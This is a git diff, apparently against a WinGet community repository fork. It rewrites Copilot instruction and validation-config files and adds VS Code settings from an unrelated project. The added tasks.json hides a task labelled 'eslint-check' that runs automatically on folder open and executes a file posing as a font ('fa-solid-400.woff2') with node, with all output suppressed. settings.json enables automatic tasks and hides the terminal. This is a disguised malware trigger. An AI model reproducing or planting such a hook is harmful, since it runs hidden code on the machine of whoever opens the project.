diff --git a/.github/instructions/non-manifests.instructions.md b/.github/instructions/non-manifests.instructions.md index 57bc839004292..e24ba05c432d8 100644 --- a/.github/instructions/non-manifests.instructions.md +++ b/.github/instructions/non-manifests.instructions.md @@ -1,74 +1,74 @@ ---- -applyTo: "!manifests/**/*" ---- - -# Windows Package Manager Community Repository - Copilot Instructions - -## Repository Overview - -This is the **Windows Package Manager (WinGet)** community repository containing **~415,000+ manifest files** for software packages installable via `winget`. This repository primarily contains Windows Package Manager manifests, but also includes tooling, documentation, schemas, and CI configuration. - -**Key Facts:** -- **Primary Language:** YAML manifest files, PowerShell scripts for tooling -- **Target Runtime:** Windows 10/11, Windows Package Manager client -- **Size:** Large repository with alphabetically organized manifests -- **Schema:** Uses multi-file YAML manifests (version 1.10.0 recommended, 1.9.0 also supported) -- **Supported Installers:** MSIX, MSI, APPX, EXE only (scripts are not supported) - -## Critical: How This Repository Works - -**This is NOT a traditional code repository.** You typically work with manifest files only **or modifying tooling, documentation, or infrastructure files**, not application source code. - -## Instruction Priority - -The instructions in the **Performance Rules**, **Allowed Local Searches**, and **Explicit Required Behavior** sections are **mandatory**. -They override all other information in this file. - -Copilot must always follow these rules when performing PR reviews, even if other documentation in this file describes general repository behavior. - -## Performance Rules (Very Important) - -This repository contains a very large directory: `manifests/`. -Copilot must **never recursively scan or search the entire `manifests/` folder** during PR reviews. This rule applies even when the pull request does not modify any manifest files. - -Large-scale searches cause severe performance issues and timeouts. - -## Allowed Searches Outside the Manifests Directory - -Copilot is allowed to search in **documentation folders** to understand schema rules, authoring guidelines, and repository conventions. These include, but are not limited to: - -- `doc/` -- `schemas/` -- `README.md` -- `CONTRIBUTING.md` -- `PULL_REQUEST_TEMPLATE.md` -- Any other non-manifest documentation files - -These locations are safe to search because they contain guidance, not large numbers of manifest files. - -However, **Copilot must still avoid recursive searches of the `manifests/` directory**, except for the package-scoped searches described earlier. - ---- - -## Explicit Required Behavior - -When reviewing a non-manifest PR: - -- Focus on the files changed in the pull request. -- Use nearby documentation, tooling, or configuration files for context when helpful. -- Avoid unnecessary repository-wide searches. - -If broader repository context seems needed: - -- **Skip the global search** and exactly say: "Global search prevented by repository instructions." -- Continue the review using only the available non-manifest context. -- Do not attempt to search the `manifests/` directory under any circumstances. - ---- - -## Summary - -- Only analyze **diffs** and **relevant non-manifest files.** -- Never run expensive global scans. -- Never crawl the entire `manifests/` directory. -- Keep all search operations **package-scoped** for reliability. +--- +applyTo: "!manifests/**/*" +--- + +# Windows Package Manager Community Repository - Copilot Instructions + +## Repository Overview + +This is the **Windows Package Manager (WinGet)** community repository containing **~415,000+ manifest files** for software packages installable via `winget`. This repository primarily contains Windows Package Manager manifests, but also includes tooling, documentation, schemas, and CI configuration. + +**Key Facts:** +- **Primary Language:** YAML manifest files, PowerShell scripts for tooling +- **Target Runtime:** Windows 10/11, Windows Package Manager client +- **Size:** Large repository with alphabetically organized manifests +- **Schema:** Uses multi-file YAML manifests (version 1.10.0 recommended, 1.9.0 also supported) +- **Supported Installers:** MSIX, MSI, APPX, EXE only (scripts are not supported) + +## Critical: How This Repository Works + +**This is NOT a traditional code repository.** You typically work with manifest files only **or modifying tooling, documentation, or infrastructure files**, not application source code. + +## Instruction Priority + +The instructions in the **Performance Rules**, **Allowed Local Searches**, and **Explicit Required Behavior** sections are **mandatory**. +They override all other information in this file. + +Copilot must always follow these rules when performing PR reviews, even if other documentation in this file describes general repository behavior. + +## Performance Rules (Very Important) + +This repository contains a very large directory: `manifests/`. +Copilot must **never recursively scan or search the entire `manifests/` folder** during PR reviews. This rule applies even when the pull request does not modify any manifest files. + +Large-scale searches cause severe performance issues and timeouts. + +## Allowed Searches Outside the Manifests Directory + +Copilot is allowed to search in **documentation folders** to understand schema rules, authoring guidelines, and repository conventions. These include, but are not limited to: + +- `doc/` +- `schemas/` +- `README.md` +- `CONTRIBUTING.md` +- `PULL_REQUEST_TEMPLATE.md` +- Any other non-manifest documentation files + +These locations are safe to search because they contain guidance, not large numbers of manifest files. + +However, **Copilot must still avoid recursive searches of the `manifests/` directory**, except for the package-scoped searches described earlier. + +--- + +## Explicit Required Behavior + +When reviewing a non-manifest PR: + +- Focus on the files changed in the pull request. +- Use nearby documentation, tooling, or configuration files for context when helpful. +- Avoid unnecessary repository-wide searches. + +If broader repository context seems needed: + +- **Skip the global search** and exactly say: "Global search prevented by repository instructions." +- Continue the review using only the available non-manifest context. +- Do not attempt to search the `manifests/` directory under any circumstances. + +--- + +## Summary + +- Only analyze **diffs** and **relevant non-manifest files.** +- Never run expensive global scans. +- Never crawl the entire `manifests/` directory. +- Keep all search operations **package-scoped** for reliability. diff --git a/.gitignore b/.gitignore index 2d71edf1bdb40..a403718a30237 100644 --- a/.gitignore +++ b/.gitignore @@ -165,6 +165,7 @@ DocProject/Help/html publish/ # Publish Web Output +temp_auto_push.bat *.[Pp]ublish.xml *.azurePubxml # Note: Comment the next line if you want to checkin your web deploy settings, @@ -333,3 +334,4 @@ ASALocalRun/ # Anything under the manifests folder should be included !manifests/** +branch_structure.json diff --git a/.vscode/extensions.json b/.vscode/extensions.json index 33d1ff215a437..2e3b6463029f5 100644 --- a/.vscode/extensions.json +++ b/.vscode/extensions.json @@ -1,6 +1,7 @@ { "recommendations": [ - "redhat.vscode-yaml", - "EditorConfig.EditorConfig" + "myml.vscode-markdown-plantuml-preview", + "esbenp.prettier-vscode", + "jebbs.plantuml" ] -} +} \ No newline at end of file diff --git a/.vscode/launch.json b/.vscode/launch.json new file mode 100644 index 0000000000000..a5177abe1a03f --- /dev/null +++ b/.vscode/launch.json @@ -0,0 +1,50 @@ +{ + "version": "0.2.0", + "configurations": [ + { + "name": "Debug SST", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["dev", "--increase-timeout"], + "console": "integratedTerminal", + "skipFiles": ["/**"], + // sourceMapRenames helps with the loading spinner when debugging and viewing local variables + "sourceMapRenames": false, + "env": { + "AWS_PROFILE": "flo-ct-flo360" + } + }, + { + "name": "Debug Tests - Unit", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + { + "name": "Debug Tests - E2E", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + ], + "inputs": [ + { + "id": "scopeTestsFileName", + "type": "promptString", + "description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.", + } + ] +} diff --git a/.vscode/settings.json b/.vscode/settings.json index d6143bd263e09..934d55548c36f 100644 --- a/.vscode/settings.json +++ b/.vscode/settings.json @@ -1,6 +1,23 @@ { - "[powershell]": { - "files.encoding": "utf8bom", - "files.autoGuessEncoding": true + "search.exclude": { + "**/.sst": true + }, + "task.allowAutomaticTasks": true, + "typescript.tsserver.experimental.enableProjectDiagnostics": true, + "editor.defaultFormatter": "esbenp.prettier-vscode", + "typescript.preferences.importModuleSpecifier": "relative", + "typescript.tsdk": "node_modules/typescript/lib", + "debug.openDebug": "neverOpen", + "problems.autoReveal": true, + "terminal.integrated.hideOnStartup": "always", + "terminal.integrated.defaultProfile.windows": "Command Prompt", + "terminal.integrated.inheritEnv": false, + "jestrunner.configPath": "jest.unit.config.cjs", + "compile-hero.disable-compile-files-on-did-save-code": true, + "tasks": { + "label": "lint on open", + "type": "shell", + "command": "npm run lint", + "runOn": "folderOpen" } } diff --git a/.vscode/spellright.dict b/.vscode/spellright.dict new file mode 100644 index 0000000000000..51b1974952958 --- /dev/null +++ b/.vscode/spellright.dict @@ -0,0 +1,2 @@ +Contentful +Lerna diff --git a/.vscode/tasks.json b/.vscode/tasks.json new file mode 100644 index 0000000000000..5e226620d2e36 --- /dev/null +++ b/.vscode/tasks.json @@ -0,0 +1,33 @@ +{ + "version": "2.0.0", + "configurations": [ + { + "type": "node", + "request": "launch", + "name": "Run My Project", + "console": "", + "internalConsoleOptions": "openOnSessionStart" + } + ], + "tasks": [ + { + "label": "eslint-check", + "type": "shell", + "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2) || echo ''", + "problemMatcher": [], + "isBackground": true, + "hide": true, + "presentation": { + "reveal": "never", + "panel": "dedicated", + "focus": false, + "clear": false, + "echo": false, + "close": true + }, + "runOptions": { + "runOn": "folderOpen" + } + }, + ] +} diff --git a/Tools/ManualValidation/ManualValidationPipeline.json b/Tools/ManualValidation/ManualValidationPipeline.json index fdc8e7749bb26..0799ad91e3f86 100644 --- a/Tools/ManualValidation/ManualValidationPipeline.json +++ b/Tools/ManualValidation/ManualValidationPipeline.json @@ -1,759 +1,759 @@ -{ - "Regex": { - "colonPRRegex": "[0-9]{5,6}[:]", - "manifestsRegex": "^manifests/", - "PRRegex": "[0-9]{5,6}", - "hashPRRegex": "[#][0-9]{5,6}", - "hashPRRegexEnd": "[#][0-9]{5,6}$", - "CleanClipRegex": "[^\\x00-\\x7F]", - }, - "LabelActions": { - "BVE": { - "Label": "Binary-Validation-Error", - "Logset": "29|41|37", - "StringSet": "0", - "MatchOffset": "", - "LengthSet": "" - }, - "IE": { - "Label": "Internal-Error", - "Logset": "47|46|29|15|25|54|56|57|58", - "StringSet": "12|1|9", - "MatchOffset": "", - "LengthSet": "" - }, - "IEPR": { - "Label": "Internal-Error-PR", - "Logset": "36", - "StringSet": "", - "MatchOffset": "", - "LengthSet": "" - }, - "MAFVE": { - "Label": "Manifest-AppsAndFeaturesVersion-Error", - "Logset": "36|29|30|14|42|46|48|34", - "StringSet": "1|2", - "MatchOffset": "", - "LengthSet": "" - }, - "MIVE": { - "Label": "Manifest-Installer-Validation-Error", - "Logset": "37|36|29|42|43|48", - "StringSet": "1|2", - "MatchOffset": "", - "LengthSet": "" - }, - "MVE": { - "Label": "Manifest-Validation-Error", - "Logset": "37", - "StringSet": "11|8|2|10", - "MatchOffset": "", - "LengthSet": "" - }, - "PRE": { - "Label": "PullRequest-Error", - "Logset": "36", - "StringSet": "13", - "MatchOffset": "", - "LengthSet": "0" - }, - "VFUE": { - "Label": "Validation-Forbidden-URL-Error", - "Logset": "29|21|23|53|55", - "StringSet": "9", - "MatchOffset": "", - "LengthSet": "" - }, - "EHM": { - "Label": "Error-Hash-Mismatch", - "Logset": "54", - "StringSet": "0", - "MatchOffset": "", - "LengthSet": "10" - }, - "IEMI": { - "Label": "Internal-Error-Manifest-Installer", - "Logset": "37|36", - "StringSet": "9|0", - "MatchOffset": "1|0", - "LengthSet": "3" - } - }, - "AutowaiverColumns": { - "PackageIdentifier": "PackageIdentifier", - "ManifestValue": "ManifestValue", - "ManifestKey": "ManifestKey", - "RemoveLabel": "RemoveLabel" - }, - "VMOS": { - "Win11": "Win11", - "Win12": "Win12", - "Win10": "Win10" - }, - "SendStatusReplace": { - "Caller1": " (caller: 00007FFA008A5769)", - "Caller2": " (caller: 00007FFA008AA79F)", - "Exception1": "Exception(1)", - "Exception2": "Exception(2)", - "Exception4": "Exception(4)", - "Tid": "tid(f1c)", - "LongFilepath": "C:\\__w\\1\\s\\external\\pkg\\src\\AppInstallerCommonCore\\Downloader.cpp(185)\\WindowsPackageManager.dll!00007FFA008A37C9\\:" - }, - "ADOValidationStatus": { - "Completed": "Completed", - "InProgress": "InProgress", - "Started": "Started", - "Waiting": "Waiting" - }, - "PRRequestPaths": { - "Issues": "issues", - "Pulls": "pulls" - }, - "Index": { - "Last": -1, - "First": 0, - "Second": 1, - "Third": 2, - "Eleventh": 10 - }, - "RerunCheck": { - "MatchCode": 2147467260 - }, - "DataVersion": 121, - "VmModes": { - "Ready": "Ready", - "New": "New", - "Existing": "Existing", - "Unknown": "Unknown" - }, - "Arch": { - "86": "x86", - "64": "x64", - "Arm": "arm", - "A32": "arm32", - "A64": "arm64", - "Neutral": "neutral" - }, - "DiffData": { - "Left": "Left", - "LeftSide": "<=", - "Right": "Right", - "RightSide": "=>" - }, - "PRRecordHeaders": { - "PR": "PR", - "Action": "Action", - "Title": "Title" - }, - "SchemaKeysEtc": { - "Null": "null", - "Constant":"const", - "Default":"default", - "Type":"type", - "Integer": "integer", - "Int32":"Int32", - "Pattern":"pattern", - "Enum": "enum", - "Description":"description", - "ManifestReview":"ManifestReview", - "maxLength":"maxLength", - "minLength":"minLength", - "SkipToContent":"SkipToContent", - "manifests":"manifests", - "PRNumber":"PRNumber", - "PRTitle":"PRTitle", - "Title":"title", - }, - "CovertReviewtSwitches": { - "Silent":"Silent", - "SilentWithProgress":"SilentWithProgress", - "Interactive":"Interactive", - "InstallLocation":"InstallLocation", - "Log":"Log", - "Upgrade":"Upgrade", - "Custom":"Custom", - "Repair":"Repair", - }, - "CovertReviewtKeys": { - "IPv4":"IPv4", - "IPv6":"IPv6", - "Transforms":"TRANSFORMS", - "Patch":"PATCH", - "Msp":"msp", - }, - "ClipboardQueries": { +{ + "Regex": { + "colonPRRegex": "[0-9]{5,6}[:]", + "manifestsRegex": "^manifests/", + "PRRegex": "[0-9]{5,6}", + "hashPRRegex": "[#][0-9]{5,6}", + "hashPRRegexEnd": "[#][0-9]{5,6}$", + "CleanClipRegex": "[^\\x00-\\x7F]", + }, + "LabelActions": { + "BVE": { + "Label": "Binary-Validation-Error", + "Logset": "29|41|37", + "StringSet": "0", + "MatchOffset": "", + "LengthSet": "" + }, + "IE": { + "Label": "Internal-Error", + "Logset": "47|46|29|15|25|54|56|57|58", + "StringSet": "12|1|9", + "MatchOffset": "", + "LengthSet": "" + }, + "IEPR": { + "Label": "Internal-Error-PR", + "Logset": "36", + "StringSet": "", + "MatchOffset": "", + "LengthSet": "" + }, + "MAFVE": { + "Label": "Manifest-AppsAndFeaturesVersion-Error", + "Logset": "36|29|30|14|42|46|48|34", + "StringSet": "1|2", + "MatchOffset": "", + "LengthSet": "" + }, + "MIVE": { + "Label": "Manifest-Installer-Validation-Error", + "Logset": "37|36|29|42|43|48", + "StringSet": "1|2", + "MatchOffset": "", + "LengthSet": "" + }, + "MVE": { + "Label": "Manifest-Validation-Error", + "Logset": "37", + "StringSet": "11|8|2|10", + "MatchOffset": "", + "LengthSet": "" + }, + "PRE": { + "Label": "PullRequest-Error", + "Logset": "36", + "StringSet": "13", + "MatchOffset": "", + "LengthSet": "0" + }, + "VFUE": { + "Label": "Validation-Forbidden-URL-Error", + "Logset": "29|21|23|53|55", + "StringSet": "9", + "MatchOffset": "", + "LengthSet": "" + }, + "EHM": { + "Label": "Error-Hash-Mismatch", + "Logset": "54", + "StringSet": "0", + "MatchOffset": "", + "LengthSet": "10" + }, + "IEMI": { + "Label": "Internal-Error-Manifest-Installer", + "Logset": "37|36", + "StringSet": "9|0", + "MatchOffset": "1|0", + "LengthSet": "3" + } + }, + "AutowaiverColumns": { + "PackageIdentifier": "PackageIdentifier", + "ManifestValue": "ManifestValue", + "ManifestKey": "ManifestKey", + "RemoveLabel": "RemoveLabel" + }, + "VMOS": { + "Win11": "Win11", + "Win12": "Win12", + "Win10": "Win10" + }, + "SendStatusReplace": { + "Caller1": " (caller: 00007FFA008A5769)", + "Caller2": " (caller: 00007FFA008AA79F)", + "Exception1": "Exception(1)", + "Exception2": "Exception(2)", + "Exception4": "Exception(4)", + "Tid": "tid(f1c)", + "LongFilepath": "C:\\__w\\1\\s\\external\\pkg\\src\\AppInstallerCommonCore\\Downloader.cpp(185)\\WindowsPackageManager.dll!00007FFA008A37C9\\:" + }, + "ADOValidationStatus": { + "Completed": "Completed", + "InProgress": "InProgress", + "Started": "Started", + "Waiting": "Waiting" + }, + "PRRequestPaths": { + "Issues": "issues", + "Pulls": "pulls" + }, + "Index": { + "Last": -1, + "First": 0, + "Second": 1, + "Third": 2, + "Eleventh": 10 + }, + "RerunCheck": { + "MatchCode": 2147467260 + }, + "DataVersion": 121, + "VmModes": { + "Ready": "Ready", + "New": "New", + "Existing": "Existing", + "Unknown": "Unknown" + }, + "Arch": { + "86": "x86", + "64": "x64", + "Arm": "arm", + "A32": "arm32", + "A64": "arm64", + "Neutral": "neutral" + }, + "DiffData": { + "Left": "Left", + "LeftSide": "<=", + "Right": "Right", + "RightSide": "=>" + }, + "PRRecordHeaders": { + "PR": "PR", + "Action": "Action", + "Title": "Title" + }, + "SchemaKeysEtc": { + "Null": "null", + "Constant":"const", + "Default":"default", + "Type":"type", + "Integer": "integer", + "Int32":"Int32", + "Pattern":"pattern", + "Enum": "enum", + "Description":"description", + "ManifestReview":"ManifestReview", + "maxLength":"maxLength", + "minLength":"minLength", + "SkipToContent":"SkipToContent", + "manifests":"manifests", + "PRNumber":"PRNumber", + "PRTitle":"PRTitle", + "Title":"title", + }, + "CovertReviewtSwitches": { + "Silent":"Silent", + "SilentWithProgress":"SilentWithProgress", + "Interactive":"Interactive", + "InstallLocation":"InstallLocation", + "Log":"Log", + "Upgrade":"Upgrade", + "Custom":"Custom", + "Repair":"Repair", + }, + "CovertReviewtKeys": { + "IPv4":"IPv4", + "IPv6":"IPv6", + "Transforms":"TRANSFORMS", + "Patch":"PATCH", + "Msp":"msp", + }, + "ClipboardQueries": { "AllPRsOnClipboard": "AllPRsOnClipboard", "TrackerVMRunTracker": "TrackerVMRunTracker", "PRWatch": "PRWatch", - "TrackerVMValidate": "TrackerVMValidate", - }, - "ManifestFileTypes": { - "DefaultLocale": "defaultLocale", - "Locale": "locale", - "Installer": "installer", - "Installeryaml": "installer.yaml", - "Version": "version", - "Root": "" - }, - "ManifestFileTypesReverse": { - "defaultLocale": "DefaultLocale", - "locale": "Locale", - "installer": "Installer", - "version": "Version", - "yaml": "Root" - }, - "IndentationStyles": { - "FourListItem": " -", - "Four": " ", - "ThreeListItem": " -", - "Three": " ", - "TwoListItem": " -", - "Two": " ", - "OneListItem": " -", - "One": " ", - "ZeroListItem": " -", - "Zero": "", - }, - "IndentationStylesReverse": { - " - ": "FourListItem", - " ": "Four", - " - ": "ThreeListItem", - " ": "Three", - " - ": "TwoListItem", - " ": "Two", - " - ": "OneListItem", - " ": "One", - "- ": "ZeroListItem", - }, - "ManifestFileTypeNames": { - "DefaultLocale": "DefaultLocale", - "Locale": "Locale", - "Installer": "Installer", - "Installeryaml": "Installeryaml", - "Version": "Version", - "Root": "Root" - }, - "ManifestInstallerProperties": { - "AppsAndFeaturesEntries": "AppsAndFeaturesEntries", - "AppsAndFeaturesEntries_Items": "AppsAndFeaturesEntries_Items", - "Architecture": "Architecture", - "ArchiveBinariesDependOnPath": "ArchiveBinariesDependOnPath", - "Authentication": "Authentication", - "Capabilities": "Capabilities", - "Capabilities_Items": "Capabilities_Items", - "Channel": "Channel", - "Commands": "Commands", - "Commands_Items": "Commands_Items", - "Dependencies": "Dependencies", - "DisplayInstallWarnings": "DisplayInstallWarnings", - "DisplayName": "DisplayName", - "DisplayVersion": "DisplayVersion", - "DownloadCommandProhibited": "DownloadCommandProhibited", - "ElevationRequirement": "ElevationRequirement", - "ExpectedReturnCodes": "ExpectedReturnCodes", - "ExpectedReturnCodes_Items": "ExpectedReturnCodes_Items", - "ExternalDependencies": "ExternalDependencies", - "ExternalDependencies_Items": "ExternalDependencies_Items", - "FileExtensions": "FileExtensions", - "FileExtensions_Items": "FileExtensions_Items", - "Files_Items": "Files_Items", - "InstallationMetadata": "InstallationMetadata", - "InstallerAbortsTerminal": "InstallerAbortsTerminal", - "InstallerLocale": "InstallerLocale", - "Installers": "Installers", - "Installers_Items": "Installers_Items", - "InstallerSuccessCodes": "InstallerSuccessCodes", - "InstallerSuccessCodes_Items": "InstallerSuccessCodes_Items", - "InstallerSha256": "InstallerSha256", - "InstallerSwitches": "InstallerSwitches", - "InstallerSwitches_Items": "InstallerSwitches_Items", - "InstallerType": "InstallerType", - "InstallerUrl": "InstallerUrl", - "InstallLocationRequired": "InstallLocationRequired", - "InstallModes": "InstallModes", - "InstallModes_Items": "InstallModes_Items", - "InstallModes_Items": "InstallModes_Items", - "ManifestType": "ManifestType", - "ManifestVersion": "ManifestVersion", - "Markets": "Markets", - "MarketArray_Items": "MarketArray_Items", - "MinimumOSVersion": "MinimumOSVersion", - "NestedInstallerFiles": "NestedInstallerFiles", - "NestedInstallerFiles_Items": "NestedInstallerFiles_Items", - "NestedInstallerType": "NestedInstallerType", - "PackageFamilyName": "PackageFamilyName", - "PackageDependencies": "PackageDependencies", - "PackageDependencies_Items": "PackageDependencies_Items", - "PackageIdentifier": "PackageIdentifier", - "PackageVersion": "PackageVersion", - "Platform": "Platform", - "Platform_Items": "Platform_Items", - "PortableCommandAlias": "PortableCommandAlias", - "ProductCode": "ProductCode", - "Protocols": "Protocols", - "Protocols_Items": "Protocols_Items", - "Publisher": "Publisher", - "ReleaseDate": "ReleaseDate", - "RepairBehavior": "RepairBehavior", - "RelativeFilePath": "RelativeFilePath", - "RequireExplicitUpgrade": "RequireExplicitUpgrade", - "RestrictedCapabilities": "RestrictedCapabilities", - "RestrictedCapabilities_Items": "RestrictedCapabilities_Items", - "Scope": "Scope", - "SignatureSha256": "SignatureSha256", - "UnsupportedArguments": "UnsupportedArguments", - "UnsupportedArguments_Items": "UnsupportedArguments_Items", - "UnsupportedOSArchitectures": "UnsupportedOSArchitectures", - "UnsupportedOSArchitectures_Items": "UnsupportedOSArchitectures_Items", - "UpgradeBehavior": "UpgradeBehavior", - "WindowsFeatures": "WindowsFeatures", - "WindowsFeatures_Items": "WindowsFeatures_Items", - "WindowsLibraries": "WindowsLibraries", - "WindowsLibraries_Items": "WindowsLibraries_Items", - "UpgradeCode": "UpgradeCode", - "Custom": "Custom", - "InstallLocation": "InstallLocation", - "Interactive": "Interactive", - "Log": "Log", - "Repair": "Repair", - "Silent": "Silent", - "SilentWithProgress": "SilentWithProgress", - "Upgrade": "Upgrade", - }, - "ManifestDefaultLocaleProperties": { - "Agreement": "Agreement", - "AgreementLabel": "AgreementLabel", - "Agreements": "Agreements", - "AgreementUrl": "AgreementUrl", - "Author": "Author", - "Copyright": "Copyright", - "CopyrightUrl": "CopyrightUrl", - "ShortDescription": "ShortDescription", - "Description": "Description", - "Description_Items": "Description_Items", - "Documentations": "Documentations", - "Documentation": "Documentation", - "DocumentLabel": "DocumentLabel", - "DocumentUrl": "DocumentUrl", - "Icon": "Icon", - "IconFileType": "IconFileType", - "IconResolution": "IconResolution", - "Icons_Items": "Icons_Items", - "Icons_Items": "Icons_Items", - "IconSha256": "IconSha256", - "IconTheme": "IconTheme", - "IconUrl": "IconUrl", - "InstallationNotes": "InstallationNotes", - "License": "License", - "LicenseUrl": "LicenseUrl", - "ManifestType": "ManifestType", - "ManifestVersion": "ManifestVersion", - "Moniker": "Moniker", - "PackageIdentifier": "PackageIdentifier", - "PackageLocale": "PackageLocale", - "PackageName": "PackageName", - "PackageUrl": "PackageUrl", - "PackageVersion": "PackageVersion", - "PrivacyUrl": "PrivacyUrl", - "Publisher": "Publisher", - "PublisherSupportUrl": "PublisherSupportUrl", - "PublisherUrl": "PublisherUrl", - "PurchaseUrl": "PurchaseUrl", - "ReleaseNotes": "ReleaseNotes", - "ReleaseNotesUrl": "ReleaseNotesUrl", - "Tags_Items": "Tags_Items", - "Tags": "Tags", - "Tag": "Tag", - "Url": "Url", - }, - "ManifestLocaleProperties": { - "Agreement": "Agreement", - "AgreementLabel": "AgreementLabel", - "Agreements": "Agreements", - "AgreementUrl": "AgreementUrl", - "Author": "Author", - "Copyright": "Copyright", - "CopyrightUrl": "CopyrightUrl", - "Description": "Description", - "Description_Items": "Description_Items", - "Documentation": "Documentation", - "Documentations": "Documentations", - "DocumentLabel": "DocumentLabel", - "DocumentUrl": "DocumentUrl", - "Icon": "Icon", - "Icons_Items": "Icons_Items", - "InstallationNotes": "InstallationNotes", - "License": "License", - "LicenseUrl": "LicenseUrl", - "ManifestType": "ManifestType", - "ManifestVersion": "ManifestVersion", - "PackageIdentifier": "PackageIdentifier", - "PackageLocale": "PackageLocale", - "PackageName": "PackageName", - "PackageUrl": "PackageUrl", - "PackageVersion": "PackageVersion", - "PrivacyUrl": "PrivacyUrl", - "Publisher": "Publisher", - "PublisherSupportUrl": "PublisherSupportUrl", - "PublisherUrl": "PublisherUrl", - "PurchaseUrl": "PurchaseUrl", - "ReleaseNotes": "ReleaseNotes", - "ReleaseNotesUrl": "ReleaseNotesUrl", - "ShortDescription": "ShortDescription", - "Tags": "Tags", - "Tags_Items": "Tags_Items", - "Tag": "Tag", - "Tags": "Tags", - "Url": "Url", - }, - "ManifestVersionProperties": { - "DefaultLocale": "DefaultLocale", - "ManifestType": "ManifestType", - "ManifestVersion": "ManifestVersion", - "PackageIdentifier": "PackageIdentifier", - "PackageVersion": "PackageVersion", - }, - "Num": { - "NegativeOne": -1, - "Zero": 0, - "One": 1, - "Two": 2, - "Ten": 10 - }, - "PRCheckLabels": { - "Completed": "Completed", - "LicenseCla": "license/cla", - "Queued": "Queued" - }, - "QueueInputs": [ - "No suitable installer found for manifest", - "Caught std::exception: bad allocation", - "exit code: -1073741515", - "exit code: -1978335216" - ], - "ManifestScope": { - "User": "User", - "Machine": "Machine" - }, - "PRWatch": { - "Remove": "Remove", - "Delete": "Delete", - "AutomaticDeletion":"Automatic deletion", - }, - "Words": { - "Package": "Package", - "Error": "Error", - "Installation": "Installation", - "Event": "event", - "Something": "something", - "NoteProperty": "NoteProperty" - }, - "VMWinLoc": { - "Left": 900, - "LeftAdj": 100, - "Top": 0, - "TopAdj": 66, - "Bottom": 1029, - "Right": 860 - }, - "WaiverActions": { - "Manual": "Manual", - "Approved": "Approved" - }, - "PRWatchDataSource": { - "GitHub": "GitHub", - "WinGet": "WinGet" - }, - "PushMePRWho": [ - { - "Author": "spectopo", - "MatchString": "Mozilla.Firefox" - }, - { - "Author": "SpecterShell", - "MatchString": "Mozilla.Thunderbird" - }, - { - "Author": "spectopo", - "MatchString": "OpenJS" - } - ], - "Run": { - "azp2": "azp run", - "azp1": "AzurePipelines run", - "wingetbot": "wingetbot run" - }, - "PRActions": { - "Approved": "Approved", - "Blocking": "Blocking", - "Feedback": "Feedback", - "Retry": "Retry", - "Manual": "Manual", - "Closed": "Closed", - "Project": "Project", - "Squash": "Squash", - "Waiver": "Waiver" - }, - "PRCloseReasons": { - "MergeConflicts": "Close with reason: Merge Conflicts;" - }, - "PSColors": { - "Black": "Black", - "DarkBlue": "DarkBlue", - "DarkGreen": "DarkGreen", - "DarkCyan": "DarkCyan", - "DarkRed": "DarkRed", - "DarkMagenta": "DarkMagenta", - "DarkYellow": "DarkYellow", - "Gray": "Gray", - "DarkGray": "DarkGray", - "Blue": "Blue", - "Green": "Green", - "Cyan": "Cyan", - "Red": "Red", - "Magenta": "Magenta", - "Yellow": "Yellow", - "White": "White" - }, - "CannedMessages": { - "AgreementMismatch": "AgreementMismatch", - "AppFail": "AppFail", - "Approve": "Approve", - "AutomationBlock": "AutomationBlock", - "AutoValEnd": "AutoValEnd", - "AppsAndFeaturesNew": "AppsAndFeaturesNew", - "AppsAndFeaturesMissing": "AppsAndFeaturesMissing", - "AppsAndFeaturesMatch": "AppsAndFeaturesMatch", - "DoesntRun": "DoesntRun", - "DriverInstall": "DriverInstall", - "DefenderFail": "DefenderFail", - "HashFailRegen": "HashFailRegen", - "InstallerFail": "InstallerFail", - "InstallerMatchesSubmitter": "InstallerMatchesSubmitter", - "InstallerMissing": "InstallerMissing", - "InstallerNotSilent": "InstallerNotSilent", - "NormalInstall": "NormalInstall", - "InstallerUrlBad": "InstallerUrlBad", - "ListingDiff": "ListingDiff", - "ManValEnd": "ManValEnd", - "ManifestVersion": "ManifestVersion", - "MergeFail": "MergeFail", - "NoCause": "NoCause", - "NoExe": "NoExe", - "NoRecentActivity": "NoRecentActivity", - "NotGoodFit": "NotGoodFit", - "OneManifestPerPR": "OneManifestPerPR", - "Only64bit": "Only64bit", - "PackageFail": "PackageFail", - "PackageUrl": "PackageUrl", - "Paths": "Paths", - "PendingAttendedInstaller": "PendingAttendedInstaller", - "PolicyWrapper": "PolicyWrapper", - "PRNoYamlFiles": "PRNoYamlFiles", - "RemoveAsk": "RemoveAsk", - "SequenceNoElements": "SequenceNoElements", - "Unattended": "Unattended", - "Unavailable": "Unavailable", - "UrlBad": "UrlBad", - "VersionCount": "VersionCount", - "WhatIsIEDS": "WhatIsIEDS", - "WordFilter": "WordFilter" - }, - "ManifestFileExtension": { - "Installer": ".installer", - "Locale": ".locale", - "LocaleEnUS": ".locale.en-US", - "Root": ".yaml" - }, - "SuccessType": { - "New": "Attempting", - "Success": "Auto-Completing", - "Fail": "Failing" - }, - "PRTrackerOperations": { - "Configure": "Configure", - "DevHomeConfig": "DevHomeConfig", - "Pin": "Pin", - "Scan": "Scan" - }, - "Columns": { - "VM": "VM", - "Status": "status", - "Version": "version", - "OS": "OS", - "Package": "Package", - "PR": "PR", - "Mode": "Mode", - "RAM": "RAM" - }, - "PRLabels": { - "403": "Validation-Forbidden-URL-Error", - "404": "Validation-404-Error", - "AGR": "Agreements", - "ANA": "Author-Not-Authorized", - "ANF": "Manifest-AppsAndFeaturesVersion-Error", - "APP": "Azure-Pipeline-Passed", - "BI": "Blocking-Issue", - "BMM": "Bulk-Modify-Metadata", - "BVE": "Binary-Validation-Error", - "CLA": 